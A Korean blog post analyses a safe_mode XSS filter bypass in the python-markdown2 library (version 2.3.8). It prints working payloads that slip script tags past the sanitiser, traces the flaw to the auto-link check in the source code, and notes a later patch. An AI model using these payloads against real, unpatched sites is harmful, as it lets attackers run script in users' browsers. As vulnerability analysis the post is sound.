[python-markdown2] safe_mode Filter bypass 분석글

개요

* 작성일 기준 version: 2.3.8 (https://github.com/trentm/python-markdown2/tree/4d2fc792abd7fbf8ddec937812857f13fded61cf)

CTF하다가 markdown2 모듈을 사용하길래 해당 모듈 찾아보다가 아래 이슈를 발견하였다.
https://github.com/trentm/python-markdown2/issues/341


Filter Bypass ????!!
- Expected Result

```python
>>> import markdown2
>>> markdown2.markdown("[<script>alert(1)</script>]()", safe_mode=True)
'<p><a href="#">[HTML_REMOVED]alert(1)[HTML_REMOVED]</a></p>\n'
```

- Issue Payload

```python
>>> import markdown2
>>> markdown2.markdown('<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>', safe_mode=True)
'<p><http://g<!s://q?<!-&lt;<a href="http://g"><script>alert(1);/*</a>->a><http://g<!s://g.c?<!-&lt;<a href="http://g">a\\*/</script>alert(1);/*</a>->a></p>\n'
```
???!! script 태그가 정상적으로 살아있는 걸 확인할 수 있다.
위 페이로드의 원리를 적용하여 아래와 같이 페이로드를 줄였다.
```python
>>> import markdown2
>>> markdown2.markdown("<http://[<script>alert(1);//]()><http://[</script>]()>", safe_mode=True)
'<p><http://<a href="#"><script>alert(1);//</a>&gt;<http://<a href="#"></script></a>&gt;</p>\n'
```

분석

먼저 safe_mode 동작에 대해 분석해보았다.
- https://github.com/trentm/python-markdown2/blob/4d2fc792abd7fbf8ddec937812857f13fded61cf/lib/markdown2.py#L358-L359

```python
        if self.safe_mode:
            text = self._hash_html_spans(text)
```
- https://github.com/trentm/python-markdown2/blob/4d2fc792abd7fbf8ddec937812857f13fded61cf/lib/markdown2.py#L1208-L1229

```python
    def _hash_html_spans(self, text):
        # Used for safe_mode.

        def _is_auto_link(s):
            if ':' in s and self._auto_link_re.match(s):
                return True
            elif '@' in s and self._auto_email_link_re.match(s):
                return True
            return False

        tokens = []
        is_html_markup = False
        for token in self._sorta_html_tokenize_re.split(text):
            if is_html_markup and not _is_auto_link(token):
                sanitized = self._sanitize_html(token)
                key = _hash_text(sanitized)
                self.html_spans[key] = sanitized
                tokens.append(key)
            else:
                tokens.append(self._encode_incomplete_tags(token))
            is_html_markup = not is_html_markup
        return ''.join(tokens)
```
safe_mode 시 html sanitize 과정을 수행하는 로직이다.
html 태그를 기준으로 split한다.
```python
>>> import re
>>> _sorta_html_tokenize_re = re.compile(r"""
...     (
...         # tag
...         </?
...         (?:\w+)                                     # tag name
...         (?:\s+(?:[\w-]+:)?[\w-]+=(?:".*?"|'.*?'))*  # attributes
...         \s*/?>
...         |
...         # auto-link (e.g., <http://www.activestate.com/>)
...         <\w+[^>]*>
...         |
...         <!--.*?-->      # comment
...         |
...         <\?.*?\?>       # processing instruction
...     )
...     """, re.X)
>>> 
>>> text = "xxx<foo aa=bb>yyyy<bar>"
>>> _sorta_html_tokenize_re.split(text)
['xxx', '<foo aa=bb>', 'yyyy', '<bar>', '']
```
위 코드와 같이 markup 태그들을 split하며, 각 조건이 is_html_markup이 True, _is_auto_link이 False인 경우 html sanitize 한다.
아닌 경우에는 _encode_incomplete_tags 과정만 거친 후 tokens에 합친다.
- https://github.com/trentm/python-markdown2/blob/4d2fc792abd7fbf8ddec937812857f13fded61cf/lib/markdown2.py#L2167-L2173

```python
    _incomplete_tags_re = re.compile("<(/?\w+[\s/]+?)")

    def _encode_incomplete_tags(self, text):
        if self.safe_mode not in ("replace", "escape"):
            return text

        return self._incomplete_tags_re.sub("&lt;\\1", text)
```

```python
>>> import re
>>> _incomplete_tags_re = re.compile("<(/?\w+[\s/]+?)")
>>> _incomplete_tags_re.sub("&lt;\\1", "<script></script>")
'<script></script>'
```
위 결과를 통해 확실히 html sanitize를 위한 코드가 아님을 알 수 있다.

즉, `is_html_markup` 또는 `_is_auto_link(token)`의 값을 컨트롤 할 수 있다면, 필터를 우회할 수 있다 !
`is_auto_link`를 확인해보면 아래 정규표현식을 이용해 존재 여부만을 확인한다.

- https://github.com/trentm/python-markdown2/blob/4d2fc792abd7fbf8ddec937812857f13fded61cf/lib/markdown2.py#L2180

```python
_auto_link_re = re.compile(r'<((https?|ftp):[^\'">\s]+)>', re.I)
```


`<http://something>` 와 같이 존재하면 `_is_auto_link`에서 match를 통해서 **올바른 값인지는 체크하지 않고 존재의 여부**만을 가지고 리턴 값이 정해지기 때문에 해당 필터를 우회할 수 있다.

이후에 markdown 문법을 처리하지만, 문법 처리과정에서는 html sanitize과정이 없어서 이때 우회된 태그를 최종 결과 값에서 확인해볼 수 있다. 

결론

분석해본 느낌 상 `[link name](LINK)` 문법과 `<http://LINK>`문법을 혼용하다보니 발생한 버그 같다.
해당 이슈가 생성된지 오래지났는데 아직까지 패치가 이루어진 않고 있다.(v2.3.8) 
라이브러리 도입 시 사용 방법이나 효율도 중요하지만, 버그 발생 시 어떻게 처리하는지도 중요하다고 생각되어진다.

+) https://github.com/trentm/python-markdown2/pull/350
해당 이슈에 대한 패치가 이루어짐.

댓글

이 블로그의 인기 게시물

SSRF to Redis

2019 미국 방문기